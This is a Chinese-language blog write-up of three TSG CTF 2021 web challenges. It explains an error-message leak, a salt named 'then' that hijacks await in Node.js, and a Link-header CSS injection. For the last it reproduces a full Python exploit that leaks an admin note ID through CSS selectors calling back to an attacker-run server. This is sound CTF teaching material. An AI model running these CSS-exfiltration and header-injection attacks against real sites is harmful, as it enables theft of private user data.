TSGCTF 2021 这个比赛感觉挺好的
Welcome to TSG CTF! 代码很简单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 const {promises : fs} = require ('fs' );const fastify = require ('fastify' );const flag = process.env.FLAG || 'DUMMY{DUMMY}' ;const app = fastify();app.get('/' , async (_, res) => { res.type('text/html' ).send(await fs.readFile('index.html' )); }); app.post('/' , (req, res ) => { if (typeof req.body === 'object' && req.body[flag] === true ) { return res.send(`Nice! flag is ${flag} ` ); } return res.send(`You failed...` ); }); app.listen(34705 , '0.0.0.0' );
程序是要我们猜对flag然后给个flag,但是如果我们知道flag,为啥不直接提交嘞
题目开启着报错
测试一波JSON中的类型那些是object后,得到:null,[],{}
然后req.body==null的话报错下就知道flag了,2333
Beginner’s Web 2021 出题人说这是刚学习ctf的人3小时就能做出来的题目,2333,直到比赛结束我也没做出来
代码也很简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 const {promises : fs} = require ('fs' );const crypto = require ('crypto' );const fastify = require ('fastify' );const app = fastify();app.register(require ('fastify-cookie' )); app.register(require ('fastify-session' ), { secret : Math .random().toString(2 ), cookie : {secure : false }, }); const sessions = new Map ();const setRoutes = async (session, salt) => { const index = await fs.readFile('index.html' ); session.routes = { flag : () => '*** CENSORED ***' , index : () => index.toString(), scrypt : (input ) => crypto.scryptSync(input, salt, 64 ).toString('hex' ), base64 : (input ) => Buffer.from(input).toString('base64' ), set_salt : async (salt) => { session.routes = await setRoutes(session, salt); session.salt = salt; return 'ok' ; }, [salt]: () => salt, }; return session.routes; }; app.get('/' , async (request, reply) => { if (!sessions.has(request.session.sessionId)) { sessions.set(request.session.sessionId, {}); } const session = sessions.get(request.session.sessionId); if (!session.salt) { session.salt = '' ; } if (!session.routes) { await setRoutes(session, '' ); } const {action, data} = request.query || {}; let route; switch (action) { case 'Scrypt' : route = 'scrypt' ; break ; case 'Base64' : route = 'base64' ; break ; case 'SetSalt' : route = 'set_salt' ; break ; case 'GetSalt' : route = session.salt; break ; default : route = 'index' ; break ; } reply.type('text/html' ) return session.routes[route](data); }); app.listen(59101 , '0.0.0.0' );
阅读一遍代码发现一处很明显的漏洞点:case 'GetSalt': route = session.salt; break;
接着会直接调用session.routes[route](data);
但是因为
1 2 3 4 5 6 7 8 9 10 11 12 session.routes = { flag : () => '*** CENSORED ***' , index : () => index.toString(), scrypt : (input ) => crypto.scryptSync(input, salt, 64 ).toString('hex' ), base64 : (input ) => Buffer.from(input).toString('base64' ), set_salt : async (salt) => { session.routes = await setRoutes(session, salt); session.salt = salt; return 'ok' ; }, [salt]: () => salt, };
所以如果salt是存在的键的话,就会覆盖原来的值
继续阅读代码:
session.salt和session.routes.[salt]
不是同时赋值的,如果能让session.salt = salt;
赋值失败的话,就可以利用上次的salt来访问flag路由了
如果session.routes = await setRoutes(session, salt);
是个耗时操作的话可以试试条件竞争,但是很明显不可能的
或者如果能让session.routes = await setRoutes(session, salt);
执行之后就退出呢?
到这里我们也只能去了解await的实现
我也不怎么了解await的原理,看了wp之后惊为天人
await的实现可以参考这篇文章
https://segmentfault.com/a/1190000022638499
快一点的话就直接看官方wp的说明
The key is set_salt
function. Normally, it updates routes and salt together.
1 2 3 4 5 >set_salt: async (salt) => { session.routes = await setRoutes(session, salt); session.salt = salt; return 'ok'; >},
What if line 2 is executed but line 3 is NEVER executed? It is possible.
In line 2, we are await
-ing the execution of setRoutes
function. Do you know async
/await
in ECMAScript is just a syncax sugar of Promise
? So, we can transform this function to the following equivalent code.
1 2 3 4 5 6 7 >set_salt: (salt) => { return setRoutes(session, salt).then((result) => { session.routes = result; session.salt = salt; return 'ok'; }); >},
The key is that the code is calling the chained method then()
from the returned value of setRoutes
function. What is the return value of this function?
1 2 3 4 5 6 7 8 9 10 >const setRoutes = async (session, salt) => { const index = await fs.readFile('index.html'); session.routes = { // redacted [salt]: () => salt, }; return session.routes; >};
It is returning the result of session.routes
. This is unnecessary since the assignment to session.route
is already done.
Okay, we can control this value by salt
parameter. What if we set salt = 'then'
? It will return the following object.
1 2 3 4 >{ // redacted then: () => salt, >}
As you can infer from the above code, this then
method will be called with callback function as an argument. If the function is called, the returned value is considered to be resolve
-ed and the process continues. But, this then()
method is just ignoring the argument and the function is never called.
So, by setting salt = 'then'
, the assignment to session.routes
happens inside setRoutes
function, but setRoute
function is not resolved and the assignment to session.salt
never happens.
So, send GET /?action=SetSalt&data=then
to server and this will result in the following session state.
1 2 3 4 5 6 7 8 9 >session = { routes: { flag: ..., index: ..., ... then: ..., }, salt: 'flag', >}
This is what we want to achieve!
简而言之await是个语法糖,会去调用返回值的then方法,如果返回值没有then方法的话就会调用原型的then方法,
于是我们只要添加then方法就可以代替Promise.then方法了
于是乎:
1 2 3 /?action=SetSalt&data=flag /?action=SetSalt&data=then /?action=GetSalt
这样就拿到flag拉
Udon 审一审代码,代码还是很简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 package mainimport ( "context" "crypto/rand" "log" "math/big" "net/http" "os" "regexp" "time" "github.com/gin-gonic/gin" "gorm.io/driver/sqlite" "gorm.io/gorm" "github.com/go-redis/redis/v8" ) type Post struct { ID string `gorm:"primaryKey"` UID string `gorm:"column:uid"` Title string `gorm:"column:title"` Description string `gorm:"column:description"` CreatedAt time.Time `gorm:"column:created_at"` } const letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" func randomString (n int ) (string , error) { b := make ([]byte , n) for i := range b { idx, err := rand.Int(rand.Reader, big.NewInt(int64 (len (letters)))) if err != nil { return "" , err } b[i] = letters[idx.Int64()] } return string (b), nil } func (p *Post) BeforeCreate (tx *gorm.DB) (err error) { p.ID, err = randomString(10 ) return err } func main () { db, err := gorm.Open(sqlite.Open("database.db" ), &gorm.Config{}) if err != nil { log.Fatalf("failed to open a database: %s" , err.Error()) } db.AutoMigrate(&Post{}) posts := []Post{} db.Where("uid = ?" , os.Getenv("ADMIN_UID" )).Find(&posts) if len (posts) == 0 { db.Create(&Post{ UID: os.Getenv("ADMIN_UID" ), Title: "flag" , Description: os.Getenv("FLAG" ), }) } rdb := redis.NewClient(&redis.Options{ Addr: "redis:6379" , Password: "" , DB: 0 , }) r := gin.Default() r.LoadHTMLGlob("./templates/*.html" ) r.Static("/assets" , "./assets" ) r.Use(func (c *gin.Context) { c.Header("Content-Security-Policy" , "script-src 'self'; style-src 'self'; base-uri 'none'" ) c.Next() }) r.Use(func (c *gin.Context) { k := c.Query("k" ) v := c.Query("v" ) if matched, err := regexp.MatchString("^[a-zA-Z-]+$" , k); matched && err == nil && v != "" { c.Header(k, v) } c.Next() }) r.Use(func (c *gin.Context) { uid, err := c.Cookie("uid" ) if err != nil || uid == "" { uid, err = randomString(32 ) if err != nil { panic (err.Error()) } c.SetCookie("uid" , uid, 3600 , "/" , "" , false , true ) } c.Set("uid" , uid) c.Next() }) r.GET("/" , func (c *gin.Context) { uid, _ := c.Get("uid" ) posts := []Post{} db.Where("uid = ?" , uid.(string )).Find(&posts) c.HTML(http.StatusOK, "index.html" , gin.H{ "posts" : posts, }) }) r.GET("/reset" , func (c *gin.Context) { c.Redirect(http.StatusFound, "/" ) }) r.POST("/notes" , func (c *gin.Context) { uid, _ := c.Get("uid" ) title := c.PostForm("title" ) description := c.PostForm("description" ) if title == "" || description == "" { c.AbortWithStatus(400 ) return } p := Post{ UID: uid.(string ), Title: title, Description: description, } db.Create(&p) c.Redirect(http.StatusFound, "/notes/" +p.ID) }) r.GET("/notes/:id" , func (c *gin.Context) { var post Post if db.First(&post, "id = ?" , c.Param("id" )).Error != nil { c.AbortWithStatus(404 ) return } c.HTML(http.StatusOK, "detail.html" , gin.H{ "post" : post, }) }) r.POST("/tell" , func (c *gin.Context) { if err := rdb.RPush(context.Background(), "query" , c.PostForm("path" )).Err(); err != nil { c.AbortWithStatus(500 ) return } c.Redirect(http.StatusFound, "/" ) }) r.Run(":8080" ) }
实现了以下功能:
添加中间件,无cookie会自动生成
会根据k,v来设置http头
运行代码的时候会初始化flag到某一篇文章
写日记,查看日记(只要有日记id就行),自己的日记列表,让管理员访问该网站下的某个网页
漏洞点很简单:
1 2 3 4 5 k := c.Query("k" ) v := c.Query("v" ) if matched, err := regexp.MatchString("^[a-zA-Z-]+$" , k); matched && err == nil && v != "" { c.Header(k, v) }
刚好之前看到过一篇有意思的文章,了解到了通过http头(link)来设置css脚本,原本也想拿去出一题css-leak的但是直接出的话太简单了
这个题就比较有意思了
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Link
通过设置Link头来插入css脚本
Link: <url here>; rel="stylesheet"; type="text/css"
但是有个问题题目有csp
script-src 'self'; style-src 'self'; base-uri 'none'
在旧版的ff中这个csp对link头并没有生效
但是题目用的是最新版的ff
于是需要用报错或者note来作为payload的负载
找报错找了半天没找到
比赛的时候note我只是简单试了以下(连note里双引号会被转义都没发现,错过了一个flag
但是就算note部分可控,好像在解析到我们的payload之前可能就会被浏览器因为语法错误而停止解析,
赛后了解到,通过这样的payload让note能够正常解析
1 2 3 RANDOM CONTENT {} * {color :red;} RANDOM CONTENT
个人觉得这是因为加上了{}让浏览器以为是selector从而继续解析?
在chrome上也是可以这样的,如果有人知道原因恳请告诉我呜呜呜
直接贴上wp的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from flask import Flask, requestimport requestsimport urllib.parseimport stringTARGET_BASE = "http://localhost:8888" LEAK_LENGTH = 10 CHAR_CANDIDATES = string.ascii_letters + string.digits EXPLOIT_BASE_ADDR = "http://host.docker.internal:1337" app = Flask(__name__) s = requests.Session() s.proxies = { "http" :"http://127.0.0.1:8080" } def build_payload (prefix: str , candidates: "List[str]" ): global EXPLOIT_BASE_ADDR assert EXPLOIT_BASE_ADDR != "" , "EXPLOIT_BASE_ADDR is not set" payload = "{}" for candidate in candidates: id_prefix_to_try = prefix + candidate matcher = '' .join(map (lambda x: '\\' + hex (ord (x)) [2 :], '/notes/' + id_prefix_to_try)) payload += "a[href^=" + matcher + "] { background-image: url(" + EXPLOIT_BASE_ADDR + "/leak?q=" + urllib.parse.quote(id_prefix_to_try) + "); }" return payload def post_note (title: str , description: str ) -> str : r = s.post(TARGET_BASE + "/notes" , data={ "title" : title, "description" : description, }, headers={ "content-type" : "application/x-www-form-urlencoded" }, allow_redirects=False ) assert r.status_code == 302 , "invalid status code: {}" .format ( r.status_code) return r.headers['Location' ].split('/notes/' )[-1 ] def report_note_as_stylesheet (id : str ) -> None : header_value = '</notes/{}>; rel="stylesheet"; type="text/css"' .format (id ) r = s.post(TARGET_BASE + "/tell" , data={ "path" : "/?k=Link&v={}" .format (urllib.parse.quote(header_value)), }, allow_redirects=False ) assert r.status_code == 302 , "invalid status code: {}" .format ( r.status_code) return None @app.route("/start" ) def start (): p = build_payload("" , CHAR_CANDIDATES) exploit_id = post_note("exploit" , p) report_note_as_stylesheet(exploit_id) print ("[info]: started exploit with a new note: {}/notes/{}" .format (TARGET_BASE, exploit_id)) return "" @app.route("/leak" ) def leak (): leaked_id = request.args.get('q' ) if len (leaked_id) == LEAK_LENGTH: print ("[+] leaked (full ID): {}" .format (leaked_id)) r = s.get(TARGET_BASE + "/notes/" + leaked_id) print (r.text) else : print ("[info] leaked: {}{}" .format ( leaked_id, "*" * (LEAK_LENGTH - len (leaked_id)))) p = build_payload(leaked_id, CHAR_CANDIDATES) exploit_id = post_note("exploit" , p) report_note_as_stylesheet(exploit_id) print ("[info]: invoked crawler with a new note: " + exploit_id) return "" if __name__ == "__main__" : print ("[info] running app ..." ) app.run(host="0.0.0.0" , port=1337 )
Giita 没怎么看
贴上官方wp
https://hackmd.io/@hakatashi/HkgG02U4t